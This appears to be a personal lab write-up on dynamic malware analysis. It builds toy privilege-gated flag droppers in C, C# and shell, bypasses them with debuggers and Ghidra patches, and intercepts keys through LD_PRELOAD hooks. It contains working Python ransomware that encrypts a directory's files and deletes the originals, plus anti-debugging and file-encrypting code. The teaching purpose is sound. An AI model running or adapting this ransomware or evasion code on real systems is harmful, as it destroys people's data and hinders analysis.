Skip to content

Latest commit

 

History

History
1336 lines (882 loc) · 44.2 KB

Malware_Analysis_Debug.md

File metadata and controls

1336 lines (882 loc) · 44.2 KB

Objective

Create malware that has requirements that must be met before it is executed. Open the code in a debugger and alter the execution to bypass the checks.

First stage just create a binary that checks for the permissions of the user, if the user has admin privs it will create a flag.

Second stage will be adding anti-debugging check.

Malware

The malware is simple, check if the user executed the exe with admin privlidges, if so, create a flag in the users docmuents folder. The final iteration will encode the payload.

Code: Is admin?
#include <stdio.h>
#include <windows.h>
#include <shlobj.h>

int main() {
    int isAdmin = system("net session > nul 2>&1");

    if (isAdmin == 0) {
        printf("You have admin rights.\n");

        // Define the flag content
        const char* flag = "FLAG{your_flag_here}";

        // Get the path to the user's Documents folder
        WCHAR documentsPath[MAX_PATH];
        if (S_OK == SHGetFolderPathW(NULL, CSIDL_PERSONAL, NULL, SHGFP_TYPE_CURRENT, documentsPath)) {
            // Construct the path to the file in the Documents folder
            WCHAR filePath[MAX_PATH];
            wcscpy(filePath, documentsPath);
            wcscat(filePath, L"\\flag.txt");

            // Open the file for writing
            FILE* file = _wfopen(filePath, L"w");
            if (file != NULL) {
                // Write the flag content to the file
                fprintf(file, "%s\n", flag);
                fclose(file);
                wprintf(L"Flag file created in Documents folder: %ls\n", filePath);
            } else {
                printf("Failed to create the flag file.\n");
            }
        } else {
            printf("Failed to get the Documents folder path.\n");
        }
    } else {
        printf("You do not have admin rights.\n");
    }

    return 0;
}
     

We use the net session as a proxy to determine privs.

image

image

Now lets compile and run on the target machine. The expected outcome is the flag should only be created when run with elevated privs.

image

image

image

This shows the check is working as intended. Lets base64 encode the payload to spice up the challenge a little, if not strings would easily reveal the flag.

Code: Is admin(encoded)?
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <shlobj.h>
#include <wininet.h>

char* base64Decode(const char* input) {
    DWORD len = 0;
    if (!CryptStringToBinaryA(input, 0, CRYPT_STRING_BASE64, NULL, &len, NULL, NULL)) {
        return NULL;
    }

    char* buffer = (char*)malloc(len);
    if (buffer == NULL) {
        return NULL;
    }

    if (!CryptStringToBinaryA(input, 0, CRYPT_STRING_BASE64, (BYTE*)buffer, &len, NULL, NULL)) {
        free(buffer);
        return NULL;
    }

    return buffer;
}

int main() {
    int isAdmin = system("net session > nul 2>&1");

    if (isAdmin == 0) {
        printf("You have admin rights.\n");

        // Define the Base64 encoded flag content
        const char* base64EncodedFlag = "VmlWaXtHaG9zdF9Jbl9UaGVfQm94fQo=";

        // Decode the Base64 encoded flag
        char* decodedFlag = base64Decode(base64EncodedFlag);

        // Get the path to the user's Documents folder
        WCHAR documentsPath[MAX_PATH];
        if (S_OK == SHGetFolderPathW(NULL, CSIDL_PERSONAL, NULL, SHGFP_TYPE_CURRENT, documentsPath)) {
            // Construct the path to the file in the Documents folder
            WCHAR filePath[MAX_PATH];
            wcscpy(filePath, documentsPath);
            wcscat(filePath, L"\\flag.txt");

            // Open the file for writing
            FILE* file = _wfopen(filePath, L"w");
            if (file != NULL) {
                // Write the decoded flag content to the file
                fprintf(file, "%s\n", decodedFlag);
                fclose(file);
                wprintf(L"Flag file created in Documents folder: %ls\n", filePath);
            } else {
                printf("Failed to create the flag file.\n");
            }
        } else {
            printf("Failed to get the Documents folder path.\n");
        }

        free(decodedFlag); // Free the dynamically allocated memory
    } else {
        printf("You do not have admin rights.\n");
    }

    return 0;
}

Compile

image

Show flag is not still not created for normal privs

image

image

Analysis

Now that we have a piece of 'malware' working as intended and we know exactly how it should work, we can use dynamic analysis and debugging. In reality there may be many more checks a piece of malware uses before deploying itself. It may also check if the host is connected to the internet, if the host is a vm, GPU capabilities, many things. The ideal situation for this is if we cannot get the payload through static analysis.

The goal of this exercise will be to open the malware in debugger as the normal user, but manually alter the code which performs the check on the isAdmin function so the flag will be deployed for the normal user.

First step is finding the cmp to enter the admin branch of the logic. For our purposes we can search string for admin and look at the first jmp that comes before that string. Right Click -> Search for -> Current Module -> String References

image

Click the line with cmp add a break point

image

This screenshot is the heart of the problem. The isadmin function will return 0, when encoded.exe it is ran when a priviliged user. We can see at the bottom of the screenshot that the current output of the function = 2. 2 != 0 so we arnt getting the the branch we want. We can change this.

image

click on that line, press space, change value to 2. Now 2 == 2 so we will enter into the is admin branch.

image

image

Last screenshot shows documents folder was empty before debugging was ran and the flag in the folder after it was ran with normal privs.

image

Becasue we made the malware we knew 2 keys that typically make the process much more difficult.

  1. The logic behind the check
  2. the location of the created file

Typically malware isnt going to tell you what or where it just did what it did. We can find the location of the create file by using procmon

Filter -> Process Name is 'encoded.exe'

image

The same path in with a linux binary

shell script

Code: Is admin+print flag linux
#!/bin/bash

# Check if the user has administrative privileges
if [[ $(id -u) -eq 0 ]]; then
    echo "You have administrative privileges."

    # Define the flag content
    flag="FLAG{your_flag_here}"

    # Get the user's home directory
    homeDir=$(eval echo "~$USER")

    # Construct the path to the flag file in the home dir
    filePath="$homeDir/flag.txt"

    # Write the flag content to the file
    echo "$flag" > "$filePath"
    echo "Flag file created in the home directory: $filePath"
else
    echo "You do not have administrative privileges."
fi

in c to compile to use gcc

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pwd.h>

int main() {
    // Get the effective user ID (EUID)
    uid_t euid = geteuid();

    // Check if the user has administrative privileges
    if (euid == 0) {
        printf("You have administrative privileges.\n");

        // Define the flag content
        const char* flag = "FLAG{your_flag_here}";

        // Get the user's home directory
        struct passwd *pw = getpwuid(getuid());
        const char *homeDir = pw->pw_dir;
        printf("User's home directory is: %s\n", homeDir);

        // Construct the path to the flag file in the home dir
        char filePath[256];
        snprintf(filePath, sizeof(filePath), "%s/flag.txt", homeDir);
        printf("Flag file path is: %s\n", filePath);

        // Open the file for writing
        FILE* file = fopen(filePath, "w");
        if (file != NULL) {
            // Write the flag content to the file
            fprintf(file, "%s\n", flag);
            fclose(file);
            printf("Flag file created in the home directory: %s\n", filePath);
        } else {
            printf("Failed to create the flag file.\n");
        }
    } else {
        printf("You do not have administrative privileges.\n");
    }

    return 0;
}
  
        

Show functionality is working as intended

image

Open up gdb to begin debugging

adminfile2 was compiled with debugging to help illustrate exactly where we are in the c code.

gcc -g -o admin_file2 admin_file2.c

On the top of the screenshot we can see the cmp, whatever is in [rbp-0x4] will be compared to 0x0.

image

2/3 down the screenshot we see the current value being held, 1000.

image

    x is the examine command.
    /dw specifies the format for displaying the value (signed decimal word, which is a 32-bit integer).
    $rbp-0x4 is the address you want to examine.

We can overwrite this with the next command and continue.

This command casts the address $rbp-0x4 to a pointer to an integer (int*) and then sets the value at that address to 0.

Finally we can see the bypass worked and the flag was printed to the curent users desktop

image

Beyond

Just like last time we have an issue malware wont tell you where it created a file. On linux we can use strace. Here we use the trace=file, process is an option too.

Running strace and the program with normal privs yields the expected results. image

Running as root we see an openat containing the flag. image

Adding a 2nd rule check

Anti-anti-debugging techniques are methods used to circumvent or disable anti-debugging measures put in place by malware.

Debuggers work by tracing other processes. When a debugger attaches to a process, it becomes the tracer, and its PID will be reflected in the TracerPid field of the status file of the process being debugged.

Programs can check their own TracerPid value by reading /proc/self/status. Here, self is a symbolic link that points to the process's own directory in /proc.

The final script that was used in the analysis can be found at the end of this section.

Setup

Create script, compile, show functionality is working as intended.

image

image

Alright this is what we want, if the binary does not detect a debugger it will proceed to check the users permissions.

Now open the script with gdb and set a break point on the debugger_check.

image

Disassemble the function and find the test, we can change eax here.

image

image

image

Here we can see we are able to pass the debugger check and move on to the is_root check.

image

Here we can use the same idea to bypass this is_root check.

image

Debugging in ghidra (replicate the debugger pass)

Debugging in ghidra is nice becasue we can patch the binary. This will allow us to make a change in the funcationality and run it, without needing to manually keep changing values in gdb.

First lets replicate the manual debugging we did in gdb to show how these things work in ghidra. After that we will patch the binary.

Click bug and run -> gdb in vm

We can see gef on the far right panel, Here we cant EAX just as we did in GDB and we see we can be in ghidra and bypass the debugger check.

image

Right click set breakpoint - SW_EXECUTE

image

In the gdb panel on the right, we can alter eax just and we did before. After contining we can see just as before we bypassed the is_debugger check.

image

Patch the binary

Change the binary

We can see here it will only take the jump to the desired function if does != 0.

image

Right click and select Patch Instruction.

image

Here was can champ JNE to JMP, this means the previous test doesnt matter, the program will now always take that jump.

image

Save new binary

File -> Export Program -> Format(Original File)

Now we can run strace as sudo, notice debugger not detected.

image

image

In this final set of images, I re-made the malware to drop a flag instead of just printing they had root permisions. This is more realistic. I would use this when a piece of rasomware encrypts files, if we can see this process we can get the key and decrypt the files. But if the maleware detects it is being watched it will not execute the encryption and we cant get the key. Also there is a good chance the malware is obfuscated so static analysis will not easily yeild the key.

image

image

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

// Function to check for a debugger
int is_debugger_present() {
    FILE *fp;
    char buffer[1024];
    char *tracer_pid;

    fp = fopen("/proc/self/status", "r");
    if (fp == NULL) {
        perror("fopen");
        exit(EXIT_FAILURE);
    }

    // Read each line of /proc/self/status
    while (fgets(buffer, sizeof(buffer), fp)) {
        // Check for TracerPid line
        if (strstr(buffer, "TracerPid")) {
            tracer_pid = strchr(buffer, ':');
            tracer_pid++; // Move past the colon
            while (*tracer_pid == '\t' || *tracer_pid == ' ') {
                tracer_pid++; // Skip whitespace
            }
            fclose(fp);
            return atoi(tracer_pid) != 0; // Debugger is present if TracerPid != 0
        }
    }

    fclose(fp);
    return 0; // No debugger found
}

// Function to create a flag in the root directory
void create_flag_in_root() {
    FILE *fp;
    // Define the path and filename for the flag
    const char *flag_path = "/root/flag.txt";

    fp = fopen(flag_path, "w");
    if (fp == NULL) {
        perror("fopen");
        exit(EXIT_FAILURE);
    }

    // Write a message or actual flag value to the file
    fprintf(fp, "Vivi{GhostInTheBox}\n");

    fclose(fp);
    printf("Flag created at %s\n", flag_path);
}

// Function to check if the user is root
void check_if_user_is_root() {
    if (geteuid() == 0) {
        printf("User is root.\n");
        create_flag_in_root(); // Create the flag since user is root
    } else {
        printf("User is not root.\n");
    }
}

int main() {
    if (is_debugger_present()) {
        printf("Process is being debugged!\n");
    } else {
        printf("No debugger detected. Performing admin check...\n");
        check_if_user_is_root();
    }

    return 0;
}

Bro... We can just call the function?

Yes! the whole object of this has been to call a function that we should be able to call becasue we are debugging.

image

JUMP!

This is the new function that allows us to not even worry about the debugger check, we were able to JUMP right over it.

image

Familar step of setting up a breakpoint to pass the admin check.

image

Here is the first time we are getting this Permission denied, because we tried to plant a flag in root, as kali user. In most situations we don't want to see this. In this situation this is a sign that we got to the place we were not supposed to be. From here we could run strace and we what the program wanted to do.

image

Deeper

Alright so we bypassed it, a couple different ways. Are there more? Yes!

Lets go back to the logic behind the debugger check. It check a file to see the value of Trcerpid variable. 1 means its being debugged 0 it is not. What if we just created a static file with the tracer pid as 0, then changed the binary to reference this file instead of /proc/self/status?

Open ghidra debugging

C code showing open of proc/self/status

image

In Assembly

image

We can find where the string is being held

image

Right click -> patch data

image

Suggest to enter a string the same length as the original

image

Notice functions in assembly and C are updated in ghidra

image

Save the patched binary to an Original File as before.

Now that we have the binary patched we need to actually set up the file that will be called. This is what the format should look like when referecing the file and getting the Tracerpid.

image

Create the fake file

image

Run in debugger

image

Again bypass the debugger check.

Alright, cool. Enough debugging.

We have been able to bypass checks from a really simple binary. How would we use dynamic analysis on something we might see in the wild? Is this even applicable?

Objective

Create a meterpreter reverse shell.

  1. Use dynamic analysis to try to find the IP of the attacker.
  2. Can we decode the commands?

First lets make the shell.

Set up listener, go back run shell,

image

image

Alright, shell works as expected.

Running in strace, there are no debugging mechanisms.

The ip and port of the connection back are obvious.

image

The commands are obfuscated. I ran getuid from the attacker machine. Knowing this we can see the geteuid32 and ("/etc/passwd") called and we can make assumtions about the following screenshot.

image

a step back LD_preload trick

Doing lockpick2 we were never able to see the key or iv in strace when running the encryptor binary.

The LD_PRELOAD technique leverages the dynamic linker, which is part of the Linux operating system. When a dynamically linked executable runs, the linker is responsible for loading all shared libraries that the program requires. The LD_PRELOAD environment variable specifies a list of additional, user-specified, shared libraries to be loaded before all others. This method allows us to inject custom code, such as function hooks, into a program's runtime environment.

By creating a custom shared library that defines a function with the same name as a library function used by the target program (in this case, EVP_EncryptInit_ex from OpenSSL), we can intercept calls to the original function. When the dynamic linker processes the LD_PRELOAD variable, it loads our custom library first, and our version of the function gets called instead of the one from the standard library.

When our hooked version of EVP_EncryptInit_ex is called, it can perform additional actions such as logging parameters like the encryption key and IV, before calling the actual OpenSSL library function to continue the encryption process as intended.

This hooking method is powerful for dynamically linked binaries as it allows real-time monitoring or modification of function behavior without altering the original binary. However, it does not work with statically linked binaries, as these binaries do not use the dynamic linker at runtime and have all their dependencies resolved and included during the build process.

openssl hook

Create the encryptor and show functioning as expected

image

image

We can wee the key and iv were intercepted.

image

Compare to what we see in ltrace

image

We can see the function being called and the pointer to the memory, but we cant see the values.

Code: Openssl hook
#include <stdio.h>
#include <openssl/evp.h>
#include <dlfcn.h>

int EVP_EncryptInit_ex(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *cipher, ENGINE *engine, const unsigned char *key, const unsigned char *iv) {
    // Original function pointer
    static int (*original_EVP_EncryptInit_ex)(EVP_CIPHER_CTX *, const EVP_CIPHER *, ENGINE *, const unsigned char *, const unsigned char *) = NULL;

    if (!original_EVP_EncryptInit_ex) {
        original_EVP_EncryptInit_ex = dlsym(RTLD_NEXT, "EVP_EncryptInit_ex");
    }

    // Log the key and IV
    if (key) {
        printf("Key: ");
        for (int i = 0; i < EVP_CIPHER_key_length(cipher); ++i) {
            printf("%02x", key[i]);
        }
        printf("\n");
    }

    if (iv) {
        printf("IV: ");
        for (int i = 0; i < EVP_CIPHER_iv_length(cipher); ++i) {
            printf("%02x", iv[i]);
        }
        printf("\n");
    }

    // Call the original function
    return original_EVP_EncryptInit_ex(ctx, cipher, engine, key, iv);
}

// Compile this with:
// gcc -shared -fPIC -o hook.so hook.c -ldl
Code: encryptor code
#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void handleErrors(void) {
    ERR_print_errors_fp(stderr);
    abort();
}

int encrypt(FILE *ifp, FILE *ofp, unsigned char *key, unsigned char *iv) {
    EVP_CIPHER_CTX *ctx;
    unsigned char buffer[1024], cipher[1024 + EVP_MAX_BLOCK_LENGTH];
    int len;
    int ciphertext_len = 0;

    // Create and initialise the context
    if(!(ctx = EVP_CIPHER_CTX_new())) handleErrors();

    // Initialise the encryption operation.
    if(1 != EVP_EncryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, iv))
        handleErrors();

    // Provide the message to be encrypted, and obtain the encrypted output.
    while(1) {
        len = fread(buffer, 1, 1024, ifp);
        if(len <= 0) break;
        if(1 != EVP_EncryptUpdate(ctx, cipher, &len, buffer, len))
            handleErrors();
        fwrite(cipher, 1, len, ofp);
        ciphertext_len += len;
    }

    // Finalise the encryption.
    if(1 != EVP_EncryptFinal_ex(ctx, cipher, &len)) handleErrors();
    fwrite(cipher, 1, len, ofp);
    ciphertext_len += len;

    // Clean up
    EVP_CIPHER_CTX_free(ctx);
    return ciphertext_len;
}
int main(int argc, char *argv[]) {
    if (argc != 3) {
        fprintf(stderr, "Usage: %s <input file> <output file>\n", argv[0]);
        return 1;
    }

    // Define a 256-bit key (32 bytes)
    unsigned char key[32] = {
        0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF,
        0xFE, 0xDC, 0xBA, 0x98, 0x76, 0x54, 0x32, 0x10,
        0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
        0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF
    };

    // Define a 128-bit IV (16 bytes)
    unsigned char iv[16] = {
        0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
        0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF
    };


    FILE *ifp = fopen(argv[1], "rb");
    if (!ifp) {
        perror("Unable to open input file");
        return 1;
    }

    FILE *ofp = fopen(argv[2], "wb");
    if (!ofp) {
        perror("Unable to open output file");
        fclose(ifp);
        return 1;
    }

    // Load the necessary cipher
    ERR_load_crypto_strings();
    OpenSSL_add_all_algorithms();
    OPENSSL_config(NULL);

    // Encrypt the file
    encrypt(ifp, ofp, key, iv);

    // Close files
    fclose(ifp);
    fclose(ofp);

    // Clean up
    EVP_cleanup();
    ERR_free_strings();

    return 0;
}

memcpy hook

We hooked openssl and were able to read the key and iv, that was cool. What else can we do?

memcpy is a standard library function in C that copies a specified number of bytes from one memory location to another. Malware often uses memcpy to move data around, which can include sensitive information, configuration data, or decrypted payloads.

reminder what this looks like in ltrace, we see it being used and the memory, but we want to see the values.

image

image

image

Code: memcpy hook

#include <stdio.h>
#include <dlfcn.h>
#include <string.h>
#include <ctype.h> // For isprint()

typedef void *(*original_memcpy_t)(void *dest, const void *src, size_t n);
static original_memcpy_t original_memcpy = NULL;

void *memcpy(void *dest, const void *src, size_t n) {
    // Ensure we have the original function
    if (!original_memcpy) {
        original_memcpy = (original_memcpy_t)dlsym(RTLD_NEXT, "memcpy");
    }

    // Create a buffer to store the ASCII representation
    char ascii_representation[n + 1]; // +1 for the null terminator
    for (size_t i = 0; i < n; ++i) {
        unsigned char byte = ((unsigned char*)src)[i];
        ascii_representation[i] = isprint(byte) ? byte : '.'; // Append ASCII or '.'
    }
    ascii_representation[n] = '\0'; // Null-terminate the string

    // Print the ASCII string
    printf("Intercepted ASCII data: %s\n", ascii_representation);

    // Call the original function
    return original_memcpy(dest, src, n);
}

// Compile with:
// gcc -fPIC -shared -o memcpy_hook.so memcpy_hook.c -ldl

memcmp hook

The memcmp function is a standard library function in C that compares the first n bytes of two blocks of memory.

Was used on pick crackme100. First one was broken so have 2 similar scripts.

Pasted image 20240313013320

Code: memcmp hook 1
#include <stdio.h>
#include <dlfcn.h>
#include <string.h>
#include <ctype.h>

typedef int (*original_memcmp_t)(const void *, const void *, size_t);

static original_memcmp_t original_memcmp;

int memcmp(const void *s1, const void *s2, size_t n) {
    // Ensure we have the original function
    if (!original_memcmp) {
        original_memcmp = (original_memcmp_t)dlsym(RTLD_NEXT, "memcmp");
    }

    // Print the compared data as clear text characters if they are printable
    printf("Compared data (s1): ");
    for (size_t i = 0; i < n; ++i) {
        unsigned char c = ((unsigned char *)s1)[i];
        putchar(isprint(c) ? c : '.'); // Print a dot for non-printable characters
    }
    printf("\n");

    printf("Compared data (s2): ");
    for (size_t i = 0; i < n; ++i) {
        unsigned char c = ((unsigned char *)s2)[i];
        putchar(isprint(c) ? c : '.'); // Print a dot for non-printable characters
    }
    printf("\n");

    // Call the original memcmp function
    return original_memcmp(s1, s2, n);
}

// Compile with:
// gcc -fPIC -shared -o memcmp_hook.so memcmp_hook.c -ldl

Code: memcmp hook 2
#include <stdio.h>
#include <dlfcn.h>
#include <string.h>
#include <ctype.h>

typedef int (*original_memcmp_t)(const void *, const void *, size_t);

static original_memcmp_t original_memcmp;

int memcmp(const void *s1, const void *s2, size_t n) {
    // Ensure we have the original function
    if (!original_memcmp) {
        original_memcmp = (original_memcmp_t)dlsym(RTLD_NEXT, "memcmp");
    }

    // Print the compared data in hexadecimal
    printf("Compared data (s1): ");
    for (size_t i = 0; i < n; ++i) {
        printf("%02X", ((unsigned char *)s1)[i]);
    }
    printf("\n");

    printf("Compared data (s2): ");
    for (size_t i = 0; i < n; ++i) {
        printf("%02X", ((unsigned char *)s2)[i]);
    }
    printf("\n");

    // Call the original memcmp function
    return original_memcmp(s1, s2, n);
}

// Compile with:
// gcc -fPIC -shared -o memcmp_hook.so memcmp_hook.c -ldl

execve hook

execve is another stadard c library. It is used to run a program by path/file name. In addition to the binary being ran, the function takes an input of the arguments for the new binary to run.

To demonstrate this I create a small 'enumeration' script.

image

The run_command function just concats the results to an output.txt file.

Run malware showing nothing can be seen in console. Run with hook and the output of the hook. Compare what we caught with our hook compared to what we see in strace below.

image

Some contents of the malwares output file

image

what we see in strace.

image

A better strace command could have found it

-f follow forks

image

Code: execve hook
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>

typedef int (*original_execve_t)(const char *filename, char *const argv[], char *const envp[]);

int execve(const char *filename, char *const argv[], char *const envp[]) {
    original_execve_t original_execve;
    original_execve = (original_execve_t)dlsym(RTLD_NEXT, "execve");

    // Log the command being executed
    FILE* log_file = fopen("/tmp/execve_log.txt", "a");
    if (log_file != NULL) {
        fprintf(log_file, "Executing command: %s\n", filename);
        for (int i = 0; argv[i] != NULL; i++) {
            fprintf(log_file, "Arg[%d]: %s\n", i, argv[i]);
        }
        fprintf(log_file, "\n");
        fclose(log_file);
    }

    return original_execve(filename, argv, envp);
}
       

// Compile with:
// gcc -fPIC -shared -o hook_execve.so hook_execve.c -ldl

Python?

Python is different, not compiled like C. Well it can be, but its often not. While it is usally plain text, it can be obfuscated like powershell scripts. So, how would we run Dynamic analysis on python code. Lets create some ransomware and find out.

Like always show it is working as expected.

image

image

I ended up removing the admin check, running sudo + strace was confusing.

Running strace and ltrace on python.

You may have heard python is a highlevel language and depends on alot of more fundamental languages, now we can see it.

We were able to find the call to get random which creates the key and iv.

image

image

This was easy becasue we created the malware and knew what we were looking for.

image

Things we can see scanning that are helpful are

image

Thinking back to the LD_PRELOAD trick, we were able to incercept the clear text values becasue we had some control over the libraries the binary was calling. Lets use a similar idea with the python library. If python is going to call libraries we control we can just add print statements to them, printing the values that we care about. In this instance we of course want clear text key and iv.

image

image

Running the 'malware' we can see that it indeed prints the key and iv being used. This doesnt seem too helpful because our malware already prints the key and iv, isnt obfuscated and we can see it using strace, but use your imagination.

image

There should be a lingering question. looking at the python library it was calling a lot of low level libriaries and I even think I saw openssl. Why cant we just use the LD_PRELOAD trick?

I tried the previous hook and it failed. After seeing the python cryptography documentation it makes me think it is still possible.

image

Snake biting it's tail

We need to find what openssl function the python cryptography code is calling. Python a verbose mode and also has options to trace itself.

image

python3 -v ransomware.py

Code: Python Ransomware Example
import os
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
from os import urandom

# Generate a random key and initialization vector (IV)
key = urandom(32)  # AES-256 requires a 32-byte key
iv = urandom(16)   # AES block size for CBC mode is 16 bytes

def is_user_admin():
    # Check if the current user ID is 0 (root)
    return os.geteuid() != 0

def encrypt_file(file_path, key, iv):
    # Create a cipher object using the key and IV
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    encryptor = cipher.encryptor()

    # Read the contents of the file to encrypt
    with open(file_path, 'rb') as f:
        file_contents = f.read()

    # Apply PKCS7 padding to the file contents
    padder = padding.PKCS7(128).padder()
    padded_data = padder.update(file_contents) + padder.finalize()

    # Encrypt the padded data
    encrypted_data = encryptor.update(padded_data) + encryptor.finalize()

    # Save the encrypted data back to the file
    with open(file_path + '.enc', 'wb') as f:
        f.write(encrypted_data)

def read_and_delete_files(directory, key, iv):
    if not os.path.isdir(directory):
        print(f"The directory {directory} does not exist.")
        return

    # Read every file in the directory
    for filename in os.listdir(directory):
        file_path = os.path.join(directory, filename)
        
        # Skip directories, only read files
        if os.path.isfile(file_path):
            encrypt_file(file_path, key, iv)
            
            # Delete the file after reading
            os.remove(file_path)
            print(f"File {filename} has been deleted.")

if __name__ == "__main__":
    # Specify the directory
    fake_directory = "/ouch"

    if is_user_admin():
        # If the user is admin, read and delete files
        read_and_delete_files(fake_directory, key, iv)
        print(f"Key: {key.hex()}")
        print(f"IV: {iv.hex()}")

    else:
        print("This script requires admin privileges to run.")

I am stuck here.

Is Python's interpreted nature impacting my ability to use LD_PRELOAD to hook into the OpenSSL functions as I did with the compiled C code? Am I possibly attempting to hook the wrong part of the library? I'm considering whether the cryptography library’s use of the _openssl.abi3.so file—an ABI-compatible layer—might be related to the issue.

Last avenue to go down with python is to actually compile it and see what it looks like.

Back again to LD

What is this LD? what other options do we have?

image

Doing some more research I am surpirsed to not see this being used for investigating malware. To this point I can only find instances of red team abusing it to load in their own libraries and or use it with sudo to priv esc. Maybe a program uses a library to get a random number, we could replace this library with one of our own and return a constant number.

Playing with C#

File to check admin rights and create flag if admin.

Create with dotnet

image

Show it works when ran as Administrator image

Code: C# File Create if admin Example
using System;
using System.IO;
using System.Security.Principal;

class Program
{
    static void Main()
    {
        // Check for administrative privileges
        bool isAdmin = new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);

        if (isAdmin)
        {
            Console.WriteLine("You have admin rights.");

            // Define the flag content
            string flag = "Vivis{Ghost_In_The_Box}";

            // Get the path to the user's Documents folder
            string documentsPath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);

            // Construct the path to the file in the Documents folder
            string filePath = Path.Combine(documentsPath, "flag.txt");

            // Open the file for writing
            try
            {
                File.WriteAllText(filePath, flag + Environment.NewLine);
                Console.WriteLine($"Flag file created in Documents folder: {filePath}");
            }
            catch (Exception ex)
            {
                Console.WriteLine($"Failed to create the flag file: {ex.Message}");
            }
        }
        else
        {
            Console.WriteLine("You do not have admin rights.");
        }
    }
}

linux dotnet ransomware

Similar piece of 'malware', encyrpt a file if admin

Create file to be decrypted

image

Run it

image

Show decryption

image

Code: C# Encrypt file if admin Example
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

class Program
{
    static void Main()
    {
        // Check if running as root (admin on Linux)
        if (IsRunningAsRoot())
        {
            Console.WriteLine("Running as root. Encrypting file...");

            // Path to the file you want to encrypt
            string filePathToEncrypt = "/home/kali/Desktop/flag.txt";

            // Path where the encrypted file will be saved
            string encryptedFilePath = "/home/kali/Desktop/flag.enc";

            try
            {
                // Read the content to encrypt
                byte[] contentToEncrypt = File.ReadAllBytes(filePathToEncrypt);

                // Encrypt the content
                byte[] encryptedContent = Encrypt(contentToEncrypt);

                // Write the encrypted content to a new file
                File.WriteAllBytes(encryptedFilePath, encryptedContent);
                Console.WriteLine($"File encrypted and saved to: {encryptedFilePath}");
            }
            catch (Exception ex)
            {
                Console.WriteLine($"Failed to encrypt the file: {ex.Message}");
            }
        }
        else
        {
            Console.WriteLine("Not running as root. Exiting...");
        }
    }
    static bool IsRunningAsRoot()
    {
        return Environment.GetEnvironmentVariable("USER") == "root";
    }

    static byte[] Encrypt(byte[] clearBytes)
    {
        using (Aes aesAlg = Aes.Create())
        {
            // Set key and IV. In a real-world application, you would need to securely store these values
            aesAlg.Key = new byte[] {0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef, 0xfe, 0xdc, 0xba, 0x98, 0x76, 0x54, 0x32, 0x10, 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff};
            aesAlg.IV = new byte[] {0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff};
            

            ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);

            using (MemoryStream msEncrypt = new MemoryStream())
            {
                using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
                {
                    csEncrypt.Write(clearBytes, 0, clearBytes.Length);
                    csEncrypt.FlushFinalBlock();
                }
                return msEncrypt.ToArray();
            }
        }
    }
}